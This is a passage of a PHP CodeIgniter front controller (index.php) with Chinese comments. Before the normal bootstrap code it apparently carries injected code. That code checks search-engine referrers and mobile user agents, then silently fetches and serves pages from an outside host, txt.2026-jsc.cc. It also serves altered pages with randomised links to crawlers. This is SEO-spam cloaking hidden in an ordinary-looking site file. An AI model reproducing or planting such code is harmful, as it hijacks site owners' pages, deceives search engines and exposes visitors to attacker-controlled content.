Ua) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } elseif (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/', $_SERVER['HTTP_USER_AGENT'])) { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502-no-pd.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } if (preg_match(regs2, ent) && url != "" && url != "/" && url != "/index.php") { echo ''; echo ''; echo httpGet3(site2 . road); exit(); } elseif (preg_match(regs2, ent)) { $html = httpGet32(url8 . url); $html = str_replace('', '', $html); $html = str_replace('

', '', $html); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie, $html, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="' .$dir[array_rand($dir)]. "/" . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"'; $ahtml = preg_replace($preg, $replacestr, $pbti); $html = str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502-sogousm-pd.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } include_once 'config.php'; # ERROR REPORTING if (defined('ENVIRONMENT')) { switch (ENVIRONMENT) { case 'development': error_reporting(E_ALL); break; case 'testing': case 'production': error_reporting(0); break; default: exit('The application environment is not set correctly.'); } } # ci目录 $system_path = CI_PATH; # APP路径 $application_folder = 'site'; # 默认 controller, $routing会对路由有重定向的作用。 // $routing['directory'] = ''; // 目录 // $routing['controller'] = ''; // 控制器 // $routing['function'] = ''; // 动作 # 配置 config/目录下设置的配置信息。 // $assign_to_config['name_of_config_item'] = 'value of config item'; // -------------------------------------------------------------------- // END OF USER CONFIGURABLE SETTINGS. DO NOT EDIT BELOW THIS LINE # 上面为配置,下面为检测系统路径和APP路进正确性 // -------------------------------------------------------------------- /* * --------------------------------------------------------------- * Resolve the system path for increased reliability * --------------------------------------------------------------- */ // Set the current directory correctly for CLI requests if (defined('STDIN')) { chdir(dirname(__FILE__)); } if (realpath($system_path) !== FALSE) { $system_path = realpath($system_path).'/'; } // ensure there's a trailing slash $system_path = rtrim($system_path, '/').'/'; // Is the system path correct? if ( ! is_dir($system_path)) { exit("系统路径出错,去正确设定配置: ".pathinfo(__FILE__, PATHINFO_BASENAME)); } /* * ------------------------------------------------------------------- * Now that we know the path, set the main path constants * ------------------------------------------------------------------- */ // The name of THIS file define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // The PHP file extension // this global constant is deprecated. define('EXT', '.php'); // Path to the system folder define('BASEPATH', str_replace("\\", "/", $system_path)); // Path to the front controller (this file) define('FCPATH', str_replace(SELF, '', __FILE__)); // Name of the "system folder" define('SYSDIR', trim(strrchr(trim(BASEPATH, '/'), '/'), '/')); // The path to the "application" folder if (is_dir($application_folder)) { define('APPPATH', $application_folder.'/'); } else { if ( ! is_dir(BASEPATH.$application_folder.'/')) { exit(" APP 路径不存在,检查并重新设置: ".SELF); } define('APPPATH', BASEPATH.$application_folder.'/'); } # 此处定义外部VIEWS时 define('VIEWS',ROOT.'views/'); define('SITEVIEWS',ROOT.'site/views/'); # 加载引擎 require_once BASEPATH.'core/CodeIgniter.php'; /* End of file index.php */ /* Location: ./index.php */